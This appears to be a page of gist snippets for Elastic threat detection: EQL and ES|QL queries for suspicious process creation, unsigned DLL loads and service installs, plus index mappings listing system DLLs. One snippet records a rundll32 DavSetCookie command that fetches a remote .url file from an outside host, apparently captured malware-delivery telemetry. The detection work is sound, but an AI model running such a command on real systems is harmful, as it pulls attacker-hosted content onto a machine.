Samirbous

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Samirbous

 "process": {
      "args": [
        "rundll32.exe",
        "C:\\WINDOWS\\system32\\davclnt.dll,DavSetCookie",
        "brukjanesis.com@80",
        "http://brukjanesis.com/TrdGallery/ResultTrd.bmp.url"
      ],
	  
	  
	  

Samirbous

get-date

Samirbous

// requires 4688 - process creation audit to be enabled 

// EQL query
process where event.action == "created-process" and 
 not startswith~(winlog.event_data.TargetUserSid, winlog.event_data.SubjectUserSid) and 
 winlog.event_data.TargetUserSid : "S-1-5-21-*" and not winlog.event_data.TargetUserSid: "S-1-0-0" and 
 not process.parent.executable : ("?:\\Program Files\\*", "?:\\Program Files (x86)\\*", "?:\\Windows\\System32\\svchost.exe", "?:\\Windows\\System32\\runtimebroker.exe")
 
 // ES|QL query - frequency based - 1 host with a unique parent and child proc running as different user identities
 

Samirbous

// DLLs normally located in system32 but unsigned and loaded from elsewhere
// https://www.elastic.co/guide/en/elasticsearch/reference/master/esql-enrich-data.html
// example ENRICH libs-policy creation steps  
https://gist.github.com/Samirbous/9f9c3237a0ada745e71cc2ba3425311c


ES|QL query:

from .ds-logs-endpoint.events.library-*
| where event.action == "load" and process.code_signature.status == "trusted" and dll.code_signature.status != "trusted" and 

Samirbous

// DLLs normally located in system32 but unsigned and loaded from elsewhere
// https://www.elastic.co/guide/en/elasticsearch/reference/master/esql-enrich-data.html
// example ENRICH libs-policy creation steps  
https://gist.github.com/Samirbous/9f9c3237a0ada745e71cc2ba3425311c

Samirbous

// create source index and define types
PUT /libs
{
  "mappings": {
    "properties": {
      "dll": {
        "properties": {
          "name": {
            "type": "text",
            "fields": {

Samirbous

PUT /native_dll1_index
{
  "mappings": {
    "properties": {
      "dll": {
        "properties": {
          "name": {
            "type": "text",
            "fields": {
              "keyword": {

Samirbous

PUT /libs/_doc/1?refresh=wait_for
{
  "dll.name": [
    "aadauthhelper.dll",
    "aadcloudap.dll",
    "aadjcsp.dll",
    "aadtb.dll",
    "aadwamextension.dll",
    "aarsvc.dll",
    "abovelockapphost.dll",

Samirbous

sequence by winlog.computer_name with maxspan=5m

[authentication where event.action == "logged-in" and 
 
 // non Elevated Token
 winlog.event_data.ElevatedToken : "%%1843"] by winlog.event_data.TargetLogonId
 
[iam where event.action == "service-installed"] by winlog.event_data.SubjectLogonId